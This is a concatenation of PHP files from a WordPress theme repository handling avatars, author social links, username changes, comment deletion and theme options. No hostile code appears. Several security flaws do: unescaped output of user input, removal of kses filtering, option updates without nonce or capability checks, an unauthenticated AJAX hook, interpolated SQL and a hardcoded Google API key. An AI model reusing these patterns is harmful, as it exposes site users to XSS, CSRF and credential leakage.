add_action('show_user_profile', 'wp_user_add_extra_profile_picture_fields');
add_action('edit_user_profile', 'wp_user_add_extra_profile_picture_fields');
function wp_avatar_save_extra_profile_fields($user_id) {
update_user_meta($user_id, 'wp_social_fb_profile', trim($_POST['fb-profile']));
update_user_meta($user_id, 'wp_social_gplus_profile', trim($_POST['gplus-profile']));
update_user_meta($user_id, 'wp_user_social_profile', $_POST['wp-user-social-profile']);
}
add_action('personal_options_update', 'wp_avatar_save_extra_profile_fields');
add_action('edit_user_profile_update', 'wp_avatar_save_extra_profile_fields');
function wp_user_social_profile_cache_clear() {
$user_id = sanitize_text_field($_POST['user_id']);
$delete_transient = delete_transient("wp_social_avatar_gplus_{$user_id}");
echo $delete_transient;
die();
}
add_action('wp_ajax_wp_social_avatar_gplus_clear_cache', 'wp_user_social_profile_cache_clear');
add_action('wp_ajax_nopriv_wp_social_avatar_gplus_clear_cache', 'wp_user_social_profile_cache_clear');
function wp_user_fb_profile($avatar, $id_or_email, $size, $default, $alt) {
if (is_int($id_or_email))
$user_id = $id_or_email;
if (is_object($id_or_email))
$user_id = $id_or_email->user_id;
if (!is_numeric($id_or_email)) {
return $avatar;
}
if (is_string($id_or_email)) {
$user = get_user_by('email', $id_or_email);
if ($user)
$user_id = $user->ID;
else
$user_id = $id_or_email;
}
$wp_user_social_profile = get_user_meta($user_id, 'wp_user_social_profile', true);
$wp_social_fb_profile = get_user_meta($user_id, 'wp_social_fb_profile', true);
$wp_avatar_add_social_picture = get_option('wp_avatar_add_social_picture', 'read');
if (user_can($user_id, $wp_avatar_add_social_picture)) {
if ('wp-facebook' == $wp_user_social_profile && !empty($wp_social_fb_profile)) {
$fb = 'https://graph.facebook.com/' . $wp_social_fb_profile . '/picture?width=' . $size . '&height=' . $size;
$avatar = "<img alt='facebook-profile-picture' src='{$fb}' class='avatar avatar-{$size} photo' height='{$size}' width='{$size}' />";
return $avatar;
} else {
return $avatar;
}
} else {
return $avatar;
}
}
add_filter('get_avatar', 'wp_user_fb_profile', 10, 5);
function wp_user_gplus_profile($avatar, $id_or_email, $size, $default, $alt) {
if (is_int($id_or_email))
$user_id = $id_or_email;
if (is_object($id_or_email))
$user_id = $id_or_email->user_id;
if (!is_numeric($id_or_email)) {
return $avatar;
}
if (is_string($id_or_email)) {
$user = get_user_by('email', $id_or_email);
if ($user)
$user_id = $user->ID;
else
$user_id = $id_or_email;
}
$wp_user_social_profile = get_user_meta($user_id, 'wp_user_social_profile', true);
$wp_social_gplus_profile = get_user_meta($user_id, 'wp_social_gplus_profile', true);
$wp_avatar_add_social_picture = get_option('wp_avatar_add_social_picture', 'read');
if (user_can($user_id, $wp_avatar_add_social_picture)) {
if ('wp-gplus' == $wp_user_social_profile && !empty($wp_social_gplus_profile)) {
if (false === ( $gplus = get_transient("wp_social_avatar_gplus_{$user_id}") )) {
$url = 'https://www.googleapis.com/plus/v1/people/' . $wp_social_gplus_profile . '?fields=image&key=AIzaSyBrLkua-XeZh637G1T1J8DoNHK3Oqw81ao';
$results = wp_remote_get($url, array('timeout' => -1));
if (!is_wp_error($results)) {
if (200 == $results['response']['code']) {
$gplusdetails = json_decode($results['body']);
$gplus = $gplusdetails->image->url;
set_transient("wp_social_avatar_gplus_{$user_id}", $gplus, 48 * HOUR_IN_SECONDS);
$gplus = str_replace('sz=50', "sz={$size}", $gplus);
$avatar = "<img alt='gplus-profile-picture' src='{$gplus}' class='avatar avatar-{$size} photo' height='{$size}' width='{$size}' />";
}
}
} else {
$gplus = str_replace('sz=50', "sz={$size}", $gplus);
$avatar = "<img alt='gplus-profile-picture' src='{$gplus}' class='avatar avatar-{$size} photo' height='{$size}' width='{$size}' />";
}
return $avatar;
} else {
return $avatar;
}
} else {
return $avatar;
}
}
add_filter('get_avatar', 'wp_user_gplus_profile', 10, 5);
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/wp-avatar-upload.php | admin/avatar/templates/wp-avatar-upload.php | <?php
/**
* upload user profile shortcode
*/
if (!defined('ABSPATH'))
exit;
?>
<div class="wp-user-profile-avatar-upload">
<form method="post" name="update-user-profile-avatar" class="update-user-profile-avatar" enctype="multipart/form-data">
<table class="form-table">
<tr>
<td>
<p>
<input type="text" name="wpupa_url" class="regular-text code" value="<?php echo $wpupa_url; ?>" placeholder="Enter Image URL">
</p>
<p><?php _e('OR Upload Image', 'wp-user-profile-avatar'); ?></p>
<p id="wp_user_profile_avatar_add_button_existing">
<button type="button" class="button" id="wp_user_profile_avatar_add" ><?php _e('Choose Image'); ?></button>
<!-- <input type="file" name="wp_user_profile_avatar_upload" id="wp_user_profile_avatar_upload" class="input-text wp-user-profile-avatar-image" accept="image/jpg, image/jpeg, image/gif, image/png" >-->
<input type="hidden" name="wpupa_attachment_id" id="wpupa_attachment_id">
<input type="hidden" name="user_id" id="wp_user_id" value="<?php echo $user_id; ?>">
</p>
</td>
</tr>
<?php
$class_hide = 'wp-user-profile-avatar-hide';
if (!empty($wpupa_attachment_id) || !empty($wpupa_url)) {
$class_hide = '';
}
?>
<tr id="wp_user_profile_avatar_images_existing">
<td>
<p id="wp_user_profile_avatar_preview">
<img src="<?php echo $wpupa_original; ?>" alt="">
<span class="description"><?php _e('Original Size', 'wp-user-profile-avatar'); ?></span>
</p>
<p id="wp_user_profile_avatar_thumbnail">
<img src="<?php echo $wpupa_thumbnail; ?>" alt="">
<span class="description"><?php _e('Thumbnail', 'wp-user-profile-avatar'); ?></span>
</p>
<p id="wp_user_profile_avatar_remove_button" class="<?php echo $class_hide; ?>">
<button type="button" class="button" id="wp_user_profile_avatar_remove"><?php _e('Remove Image', 'wp-user-profile-avatar'); ?></button>
</p>
<p id="wp_user_profile_avatar_undo_button">
<button type="button" class="button" id="wp_user_profile_avatar_undo"><?php _e('Undo', 'wp-user-profile-avatar'); ?></button>
</p>
</td>
</tr>
<tr>
<td>
<button type="button" class="button" id="wp_user_profile_avatar_update_profile"><?php _e('Update Profile', 'wp-user-profile-avatar'); ?></button>
</td>
</tr>
</table>
</form>
<div id="upload_avatar_responce"></div>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/wp-user-list.php | admin/avatar/templates/wp-user-list.php | <?php
/**
* Wp User List Page & Username Update Page.
*/
if (!defined('ABSPATH')) {
exit;
}
use \WpUserNameChange\WpUserNameChange;
function Wp_username_edit() {
?>
<div class="wrap userupdater">
<p><h1><?php _e('用户列表', 'WP_Username_change') ?></h1></p>
<?php
$wpuser = new WpUserNameChange();
$records = $wpuser->wpuser_select();
if ($records) {
?>
<table class="wp-list-table widefat fixed striped users" cellpadding="3" cellspacing="3" width="100%">
<thead>
<tr>
<th><strong><?php _e('用户ID', 'WP_Username_change') ?></strong></th>
<th><strong><?php _e('用户名', 'WP_Username_change') ?></strong></th>
<th><strong><?php _e('角色名', 'WP_Username_change') ?></strong></th>
<th><strong><?php _e('操作', 'WP_Username_change') ?></strong></th>
</tr>
</thead>
<tbody>
<?php
foreach ($records as $user) {
$user_info = get_userdata($user->ID);
?>
<tr>
<td><?php echo $user->ID; ?></td>
<td><?php echo $user->user_login; ?></td>
<td><?php echo implode(', ', $user_info->roles); ?></td>
<td><a href="<?php echo admin_url('admin.php?page=Wp_username_update&update=' . $user->ID); ?>">修改</a></td>
</tr>
<?php } ?>
</tbody>
</table>
<?php
}
?>
</div>
<?php
}
function Wp_user_update() {
if (isset($_REQUEST['update'])) {
$wpuser = new WpUserNameChange();
global $wpdb;
$id = trim($_REQUEST['update']);
$user_info = get_userdata($id);
$result = $wpdb->get_results($wpdb->prepare("SELECT * from $wpdb->users WHERE ID = %d", $id));
foreach ($result as $user) {
$username = $user->user_login;
}
if (!empty($_REQUEST['submit'])) {
$name = sanitize_user($_POST["user_login"]);
if (empty($name)) {
$errorMsg = "错误:请不要输入空用户名!";
} elseif (username_exists($name)) {
$errorMsg = "错误:该用户名(<i>$name</i>)已存在!";
} else {
$wpuser->wpuser_update($id, $name);
echo '<div class="updated"><p><strong>用户名更新成功!</strong></p></div>';
}
}
?>
<div class="wrap">
<h1><?php _e('修改用户名', 'WP_Username_change') ?></h1>
<?php
if (isset($errorMsg)) {
echo "<div class='error'><p><strong>" . $errorMsg . "</strong></p></div>";
}
?>
</div>
<form method="post" id="user_udate" action="<?php echo $_SERVER['REQUEST_URI']; ?>">
<table class="form-table">
<tr>
<th><label for="olduser_login"><?php _e('旧用户名', 'WP_Username_change') ?></label></th>
<td><strong><?php echo $username; ?></strong></td>
</tr>
<tr>
<th><label for="user_login"><?php _e('新用户名', 'WP_Username_change') ?></label></th>
<td><input type="text" name="user_login" class="regular-text" id="user_login" value="<?php if (!empty($_POST["user_login"])) echo $name; ?>"/></td>
</tr>
</table>
<input type="submit" name="submit" id="submit" class="button button-primary" value="更新用户名">
</form>
<?php
} else {
?>
<script>
window.location = '<?php echo admin_url('admin.php?page=WP_Username_change'); ?>'
</script>
<?php
}
}
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/comments-tools-page.php | admin/avatar/templates/comments-tools-page.php | <?php
/**
* Tools page.
*
* @package Disable_Comments
*/
if (!defined('ABSPATH')) {
exit;
}
?>
<div class="wrap">
<h1><?php _e('Delete Comments', 'disable-comments'); ?></h1>
<?php
global $wpdb;
$comments_count = $wpdb->get_var("SELECT count(comment_id) from $wpdb->comments");
if ($comments_count <= 0) {
?>
<p><strong><?php _e('No comments available for deletion.', 'disable-comments'); ?></strong></p>
</div>
<?php
return;
}
$options = get_option('disable_comments_options', array());
$typeargs = array('public' => true);
$modified_types = array();
$disabled_post_types = get_disabled_post_types();
if (!empty($disabled_post_types)) {
foreach ($disabled_post_types as $type) {
// we need to know what native support was for later.
if (post_type_supports($type, 'comments')) {
$modified_types[] = $type;
remove_post_type_support($type, 'comments');
remove_post_type_support($type, 'trackbacks');
}
}
}
$types = get_post_types($typeargs, 'objects');
if (isset($_POST['delete']) && isset($_POST['delete_mode'])) {
check_admin_referer('delete-comments-admin');
if ($_POST['delete_mode'] == 'delete_everywhere') {
if ($wpdb->query("TRUNCATE $wpdb->commentmeta") != false) {
if ($wpdb->query("TRUNCATE $wpdb->comments") != false) {
$wpdb->query("UPDATE $wpdb->posts SET comment_count = 0 WHERE post_author != 0");
$wpdb->query("OPTIMIZE TABLE $wpdb->commentmeta");
$wpdb->query("OPTIMIZE TABLE $wpdb->comments");
echo "<p style='color:green'><strong>" . __('All comments have been deleted.', 'disable-comments') . '</strong></p>';
} else {
echo "<p style='color:red'><strong>" . __('Internal error occured. Please try again later.', 'disable-comments') . '</strong></p>';
}
} else {
echo "<p style='color:red'><strong>" . __('Internal error occured. Please try again later.', 'disable-comments') . '</strong></p>';
}
} else {
$delete_post_types = empty($_POST['delete_types']) ? array() : (array) $_POST['delete_types'];
$delete_post_types = array_intersect($delete_post_types, array_keys($types));
// Extra custom post types.
if (!empty($_POST['delete_extra_post_types'])) {
$delete_extra_post_types = array_filter(array_map('sanitize_key', explode(',', $_POST['delete_extra_post_types'])));
$delete_extra_post_types = array_diff($delete_extra_post_types, array_keys($types)); // Make sure we don't double up builtins.
$delete_post_types = array_merge($delete_post_types, $delete_extra_post_types);
}
if (!empty($delete_post_types)) {
// Loop through post_types and remove comments/meta and set posts comment_count to 0.
foreach ($delete_post_types as $delete_post_type) {
$wpdb->query("DELETE cmeta FROM $wpdb->commentmeta cmeta INNER JOIN $wpdb->comments comments ON cmeta.comment_id=comments.comment_ID INNER JOIN $wpdb->posts posts ON comments.comment_post_ID=posts.ID WHERE posts.post_type = '$delete_post_type'");
$wpdb->query("DELETE comments FROM $wpdb->comments comments INNER JOIN $wpdb->posts posts ON comments.comment_post_ID=posts.ID WHERE posts.post_type = '$delete_post_type'");
$wpdb->query("UPDATE $wpdb->posts SET comment_count = 0 WHERE post_author != 0 AND post_type = '$delete_post_type'");
$post_type_object = get_post_type_object($delete_post_type);
$post_type_label = $post_type_object ? $post_type_object->labels->name : $delete_post_type;
echo "<p style='color:green'><strong>" . sprintf(__('All comments have been deleted for %s.', 'disable-comments'), $post_type_label) . '</strong></p>';
}
$wpdb->query("OPTIMIZE TABLE $wpdb->commentmeta");
$wpdb->query("OPTIMIZE TABLE $wpdb->comments");
echo "<h4 style='color:green'><strong>" . __('Comment Deletion Complete', 'disable-comments') . '</strong></h4>';
}
}
$comments_count = $wpdb->get_var("SELECT count(comment_id) from $wpdb->comments");
if ($comments_count <= 0) {
?>
<p><strong><?php _e('No comments available for deletion.', 'disable-comments'); ?></strong></p>
</div>
<?php
return;
}
}
?>
<form action="" method="post" id="delete-comments">
<ul>
<li><label for="delete_everywhere"><input type="radio" id="delete_everywhere" name="delete_mode" value="delete_everywhere" <?php checked(isset($_POST['delete_everywhere'])); ?> /> <strong><?php _e('Everywhere', 'disable-comments'); ?></strong>: <?php _e('Delete all comments in WordPress.', 'disable-comments'); ?></label>
<p class="indent"><?php printf(__('%s: This function and will affect your entire site. Use it only if you want to delete comments <em>everywhere</em>.', 'disable-comments'), '<strong style="color: #900">' . __('Warning', 'disable-comments') . '</strong>'); ?></p>
</li>
<?php $selected = (empty($_POST['delete_everywhere'])) ? 'checked="checked"' : ""; ?>
<li><label for="selected_delete_types"><input type="radio" id="selected_delete_types" name="delete_mode" value="selected_delete_types" <?php echo $selected; ?> /> <strong><?php _e('For certain post types', 'disable-comments'); ?></strong>:</label>
<p></p>
<ul class="indent" id="listofdeletetypes">
<?php
if (isset($options['disabled_post_types']) && is_array($options['disabled_post_types'])) {
$disabled_post_types = $options['disabled_post_types'];
} else {
$disabled_post_types = [];
}
foreach ($types as $k => $v) {
echo "<li><label for='post-type-$k'><input type='checkbox' name='delete_types[]' value='$k' " . checked(in_array($k, $disabled_post_types), true, false) . " id='post-type-$k'> {$v->labels->name}</label></li>";
}
?>
</ul>
<p class="indent"><?php printf(__('%s: Deleting comments will remove existing comment entries in the database and cannot be reverted without a database backup.', 'disable-comments'), '<strong style="color: #900">' . __('Warning', 'disable-comments') . '</strong>'); ?></p>
</li>
</ul>
<?php wp_nonce_field('delete-comments-admin'); ?>
<h4><?php _e('Total Comments:', 'disable-comments'); ?> <?php echo $comments_count; ?></h4>
<p class="submit"><input class="button-primary" type="submit" name="delete" value="<?php _e('Delete Comments', 'disable-comments'); ?>"></p>
</form>
</div>
<script>
jQuery(document).ready(function ($) {
function delete_comments_uihelper() {
var toggle_bits = $("#listofdeletetypes, #extradeletetypes");
if ($("#delete_everywhere").is(":checked"))
toggle_bits.css("color", "#888").find(":input").attr("disabled", true);
else
toggle_bits.css("color", "#000").find(":input").attr("disabled", false);
}
$("#delete-comments :input").change(function () {
delete_comments_uihelper();
});
delete_comments_uihelper();
});
</script>
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/comments-template.php | admin/avatar/templates/comments-template.php | <?php
/**
* Dummy comments template file.
* This replaces the theme's comment template when comments are disabled everywhere
*
* @package Disable_Comments
*/
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/wp-display-user.php | admin/avatar/templates/wp-display-user.php | <?php
/**
* User display shortcode
*/
if (!defined('ABSPATH'))
exit;
?>
<div class="author-details">
<p class="caption-text"><?php echo $details['first_name']; ?></p>
<p class="caption-text"><?php echo $details['last_name']; ?></p>
<p class="caption-text"><?php echo $details['description']; ?></p>
<p class="caption-text"><?php echo $details['email']; ?></p>
<?php
if (!empty($details['sabox_social_links'])) {
foreach ($details['sabox_social_links'] as $name => $link) {
?>
<p class="caption-text"><?php echo $name; ?>:<a href="<?php echo $link; ?>"><?php echo $link; ?></a></p>
<?php
}
}
if ('' != $details['sabox-profile-image']) {
?>
<img src="<?php echo $details['sabox-profile-image']; ?>" />
<?php } ?>
</div> | php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/wp-author-box-social-info.php | admin/avatar/templates/wp-author-box-social-info.php | <?php
/**
* Author Box Social link page.
*
* @package Author Box Social link page.
*/
if (!defined('ABSPATH')) {
exit;
}
?>
<?php
function add_user_social_contact_info($user_contact) {
$user_contact['facebook'] = __('Facebook URL');
$user_contact['skype'] = __('Skype');
$user_contact['twitter'] = __('Twitter');
$user_contact['youtube'] = __('Youtube Channel');
$user_contact['linkedin'] = __('LinkedIn');
$user_contact['googleplus'] = __('Google +');
$user_contact['pinterest'] = __('Pinterest');
$user_contact['instagram'] = __('Instagram');
$user_contact['github'] = __('Github profile');
return $user_contact;
}
add_filter('user_contactmethods', 'add_user_social_contact_info');
function wp_fontawesome_styles() {
wp_register_style('fontawesome', 'https://maxcdn.bootstrapcdn.com/font-awesome/4.6.3/css/font-awesome.min.css', '', '4.4.0', 'all');
wp_enqueue_style('fontawesome');
}
add_action('wp_enqueue_scripts', 'wp_fontawesome_styles');
function wp_author_social_info_box($content) {
global $post;
if (is_single() && isset($post->post_author)) {
// Get author's display name
$display_name = get_the_author_meta('first_name', $post->post_author);
// If display name is not available then use nickname
if (empty($display_name))
$display_name = get_the_author_meta('nickname', $post->post_author);
// Get author's biographical description
$user_description = get_the_author_meta('user_description', $post->post_author);
// Get author's email
$user_email = get_the_author_meta('email', $post->post_author);
// Get author's Facebook
$user_facebook = get_the_author_meta('facebook', $post->post_author);
// Get author's Skype
$user_skype = get_the_author_meta('skype', $post->post_author);
// Get author's Twitter
$user_twitter = get_the_author_meta('twitter', $post->post_author);
// Get author's LinkedIn
$user_linkedin = get_the_author_meta('linkedin', $post->post_author);
// Get author's Youtube
$user_youtube = get_the_author_meta('youtube', $post->post_author);
// Get author's Google+
$user_googleplus = get_the_author_meta('googleplus', $post->post_author);
// Get author's Pinterest
$user_pinterest = get_the_author_meta('pinterest', $post->post_author);
// Get author's Instagram
$user_instagram = get_the_author_meta('instagram', $post->post_author);
// Get author's Github
$user_github = get_the_author_meta('github', $post->post_author);
// Get link to the author page
$user_posts = get_author_posts_url(get_the_author_meta('ID', $post->post_author));
if (!empty($display_name))
$author_details = '<p class="author_name">' . get_the_author_meta('display_name') . '</p>';
$author_details .= '<p class="author_image">' . get_avatar(get_the_author_meta('ID'), 90) . '</p>';
$author_details .= '<p class="author_bio">' . get_the_author_meta('description') . '</p>';
// Display author Email link
$author_details .= ' <a href="mailto:' . $user_email . '" target="_blank" rel="nofollow" title="E-mail" class="tooltip"><i class="fa fa-envelope-square fa-2x"></i> </a>';
// Display author Facebook link
if (!empty($user_facebook)) {
$author_details .= ' <a href="' . $user_facebook . '" target="_blank" rel="nofollow" title="Facebook" class="tooltip"><i class="fa fa-facebook-official fa-2x"></i> </a>';
} else {
$author_details .= '</p>';
}
// Display author Skype link
if (!empty($user_skype)) {
$author_details .= ' <a href="' . $user_skype . '" target="_blank" rel="nofollow" title="Username paaljoachim Skype" class="tooltip"><i class="fa fa-skype fa-2x"></i> </a>';
} else {
$author_details .= '</p>';
}
// Display author Twitter link
if (!empty($user_twitter)) {
$author_details .= ' <a href="' . $user_twitter . '" target="_blank" rel="nofollow" title="Twitter" class="tooltip"><i class="fa fa-twitter-square fa-2x"></i> </a>';
} else {
$author_details .= '</p>';
}
// Display author LinkedIn link
if (!empty($user_linkedin)) {
$author_details .= ' <a href="' . $user_linkedin . '" target="_blank" rel="nofollow" title="LinkedIn" class="tooltip"><i class="fa fa-linkedin-square fa-2x"></i> </a>';
} else {
$author_details .= '</p>';
}
// Display author Youtube link
if (!empty($user_youtube)) {
$author_details .= ' <a href="' . $user_youtube . '" target="_blank" rel="nofollow" title="Youtube" class="tooltip"><i class="fa fa-youtube-square fa-2x"></i> </a>';
} else {
$author_details .= '</p>';
}
// Display author Google + link
if (!empty($user_googleplus)) {
$author_details .= ' <a href="' . $user_googleplus . '" target="_blank" rel="nofollow" title="Google+" class="tooltip"><i class="fa fa-google-plus-square fa-2x"></i> </a>';
} else {
$author_details .= '</p>';
}
// Display author Pinterest link
if (!empty($user_pinterest)) {
$author_details .= ' <a href="' . $user_pinterest . '" target="_blank" rel="nofollow" title="Pinterest" class="tooltip"><i class="fa fa-pinterest-square fa-2x"></i> </a>';
} else {
$author_details .= '</p>';
}
// Display author instagram link
if (!empty($user_instagram)) {
$author_details .= ' <a href="' . $user_instagram . '" target="_blank" rel="nofollow" title="instagram" class="tooltip"><i class="fa fa-instagram fa-2x"></i> </a>';
} else {
$author_details .= '</p>';
}
// Display author Github link
if (!empty($user_github)) {
$author_details .= ' <a href="' . $user_github . '" target="_blank" rel="nofollow" title="Github" class="tooltip"><i class="fa fa-github-square fa-2x"></i> </a>';
} else {
$author_details .= '</p>';
}
$content = $content . '<footer class="author_bio_section" >' . $author_details . '</footer>';
}
return $content;
}
add_action('the_content', 'wp_author_social_info_box');
remove_filter('pre_user_description', 'wp_filter_kses');
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/wp-username-change.php | admin/avatar/templates/wp-username-change.php | <?php
/**
* user name change function Page
*/
namespace WpUserNameChange;
if (!defined('ABSPATH')) {
exit;
}
Class WpUserNameChange {
public function __construct() {
global $wpdb;
$this->db = $wpdb;
add_action('admin_menu', array($this, 'Wp_user_list'));
add_action('init', array($this, 'wp_file_include'));
}
public function wp_file_include() {
if (is_admin()) {
require_once (plugin_dir_path(__FILE__) . '/wp-user-list.php');
}
}
public function Wp_user_list() {
$allowed_group = 'manage_options';
if (function_exists('add_submenu_page')) {
add_submenu_page('users.php', __('修改用户名', 'WP_Username_change'), __('修改用户名', 'WP_Username_change'), $allowed_group, 'WP_Username_change', 'Wp_username_edit');
add_submenu_page(null, __('Update', 'WP_Username_change'), __('Update', 'WP_Username_change'), $allowed_group, 'Wp_username_update', 'Wp_user_update');
}
}
public function wpuser_select() {
$records = $this->db->get_results("SELECT * FROM `" . $this->db->prefix . "users`");
return $records;
}
public function wpuser_update($id, $name) {
$result = $this->db->update(
$this->db->prefix . 'users',
array('user_login' => $name, 'display_name' => $name),
array('id' => $id)
);
return $result;
}
}
$wpuser = new WpUserNameChange ();
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/wp-author-box-display.php | admin/avatar/templates/wp-author-box-display.php | <?php
/**
* authorbox social info display shortcode
*/
if (!defined('ABSPATH'))
exit;
?>
<!-- Get author detail-->
<div class="author_bio_section">
<div class="author_details">
<div class="author_image"><?php echo get_avatar(get_the_author_meta('ID'), 90); ?></div>
<div class="author_info">
<div class="author_name"> <?php the_author_meta('display_name'); ?> </div>
<div class="author_bio"><?php the_author_meta('description'); ?></div>
</div>
</div>
<?php
/**
* authorbox_social_link function
*
* @access public
* @param $atts
* @return
* @since 1.0
*/
?>
<!-- Display social link to the author page-->
<div class="authorbox-social-icons">
<?php if (!empty(get_the_author_meta('facebook'))) { ?>
<span> <a href="<?php the_author_meta('facebook'); ?>" title="facebook" target="_blank" id="facebook"><i class="fa fa-facebook-official fa-2x"></i></a></span>
<?php } ?>
<?php if (!empty(get_the_author_meta('skype'))) { ?>
<span> <a href="<?php the_author_meta('skype'); ?>" title="skype" target="_blank" id="skype"><i class="fa fa-skype fa-2x"></i></a></span>
<?php } ?>
<?php if (!empty(get_the_author_meta('twitter'))) { ?>
<span> <a href="<?php the_author_meta('twitter'); ?>" title="twitter" target="_blank" id="twitter"><i class="fa fa-twitter-square fa-2x"></i></a></span>
<?php } ?>
<?php if (!empty(get_the_author_meta('youtube'))) { ?>
<span><a href="<?php the_author_meta('youtube'); ?>" title="youtube" target="_blank" id="youtube"><i class="fa fa-youtube-square fa-2x"></i></a></span>
<?php } ?>
<?php if (!empty(get_the_author_meta('linkedin'))) { ?>
<span> <a href="<?php the_author_meta('linkedin'); ?>" title="linkedin" target="_blank" id="linkedin"><i class="fa fa-linkedin-square fa-2x"></i></a></span>
<?php } ?>
<?php if (!empty(get_the_author_meta('googleplus'))) { ?>
<span> <a href="<?php the_author_meta('googleplus'); ?>" title="googleplus" target="_blank" id="googleplus"><i class="fa fa-google-plus-square fa-2x"></i></a></span>
<?php } ?>
<?php if (!empty(get_the_author_meta('pinterest'))) { ?>
<span> <a href="<?php the_author_meta('pinterest'); ?>" title="pinterest" target="_blank" id="pinterest"><i class="fa fa-pinterest-square fa-2x"></i></a></span>
<?php } ?>
<?php if (!empty(get_the_author_meta('instagram'))) { ?>
<span> <a href="<?php the_author_meta('instagram'); ?>" title="instagram" target="_blank" id="instagram"><i class="fa fa-instagram fa-2x"></i></a></span>
<?php } ?>
<?php if (!empty(get_the_author_meta('github'))) { ?>
<span> <a href="<?php the_author_meta('github'); ?>" title="github" target="_blank" id="github"><i class="fa fa-github-square fa-2x"></i></a></span>
<?php } ?>
</div>
</div>
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/avatar/templates/wp-add-new-avatar.php | admin/avatar/templates/wp-add-new-avatar.php | <?php
/**
* Add New Default Avatar page.
*
* @package Add New Default Avatar page.
*/
if (!defined('ABSPATH')) {
exit;
}
?>
<?php
$Add_New_User = new Add_New_User( );
class Add_New_User {
function admin_init() {
register_setting('discussion', 'Add_New_User', array($this, 'validate'));
add_settings_field('Add_New_User', __('Add New Default Avatar', 'anda'), array($this, 'field_html'), 'discussion', 'avatars', $args = array());
}
function field_html() {
$value = get_option('Add_New_User', array(array('name' => 'New Avatar', 'url' => 'url')));
foreach ($value as $k => $v) {
extract($v);
echo '<p>';
echo "<input type='text' name='Add_New_User[$k][name]' value='$name' size='15' />";
echo "<input type='text' name='Add_New_User[$k][url]' value='$url' size='35' />";
echo '</p>';
}
$add_value = uniqid();
echo '<p id="Add_New_User">';
echo "<input type='text' name='Add_New_User[$add_value][name]' value='' size='15' />";
echo "<input type='text' name='Add_New_User[$add_value][url]' value='' size='35' />";
echo '</p>';
}
function validate($input) {
foreach ($input as $k => $v) {
$input[$k]['name'] = esc_attr($v['name']);
$input[$k]['url'] = esc_url($v['url']);
if (empty($v['name']) && empty($v['url'])) {
unset($input[$k]);
}
}
return $input;
}
function avatar_defaults($avatar_defaults) {
$opts = get_option('Add_New_User', false);
if ($opts) {
foreach ($opts as $k => $v) {
$av = html_entity_decode($v['url']);
$avatar_defaults[$av] = $v['name'];
}
}
return $avatar_defaults;
}
function update_default_avatar($avatar, $id_or_email, $size, $default = '', $alt) {
if (is_numeric($id_or_email)) {
$email = get_userdata($id_or_email)->user_email;
$user_id = (int) $id_or_email;
} elseif (is_object($id_or_email)) {
$email = $id_or_email->comment_author_email;
$user_id = (int) $id_or_email->user_id;
} elseif (is_string($id_or_email) && ( $user = get_user_by('email', $id_or_email) )) {
$email = $id_or_email;
$user_id = $user->ID;
}
if (isset($user_id['local_avatar'])) {
$local_avatars = get_user_meta($user_id, 'local_avatar', true);
}
if (!empty($local_avatars) && ( isset($GLOBALS['hook_suffix']) && $GLOBALS['hook_suffix'] != 'options-discussion.php' )) {
remove_filter('update_default_avatar', array($this, 'update_default_avatar'), 88, 5);
return $avatar;
}
$avatar = str_replace('%size%', $size, $avatar);
$avatar = str_replace(urlencode('%size%'), $size, $avatar);
return $avatar;
}
function __construct() {
add_filter('admin_init', array($this, 'admin_init'));
add_filter('avatar_defaults', array($this, 'avatar_defaults'));
add_filter('update_default_avatar', array($this, 'update_default_avatar'), 10, 5);
}
}
| php | MIT | e434c2131c7faf29aa79a2553cca35e55d56dcca | 2026-01-05T05:14:50.586486Z | false |
kannafay/iFalse | https://github.com/kannafay/iFalse/blob/e434c2131c7faf29aa79a2553cca35e55d56dcca/admin/options/i_nav.php | admin/options/i_nav.php | <?php
@$i_logo_url_light = stripslashes($_POST["i_logo_url_light"]);
@$i_logo_url_night = stripslashes($_POST["i_logo_url_night"]);
@$i_logo_hidden = stripslashes($_POST["i_logo_hidden"]);
@$i_header_hidden = stripslashes($_POST["i_header_hidden"]);
@$i_login_hidden = stripslashes($_POST["i_login_hidden"]);
@$i_hello = stripslashes($_POST["i_hello"]);
if(@stripslashes($_POST["i_opt"])){
update_option("i_logo_url_light", $i_logo_url_light);
update_option("i_logo_url_night", $i_logo_url_night);
update_option("i_login_hidden", $i_login_hidden);
update_option("i_header_hidden", $i_header_hidden);
update_option("i_logo_hidden", $i_logo_hidden);
update_option("i_hello", $i_hello);
}
?>
<link rel="stylesheet" href="<?php echo i_static(); ?>/admin/options/i_frame.css">
<script>var oyisoThemeName = '<?=wp_get_theme()->Name?>';</script>
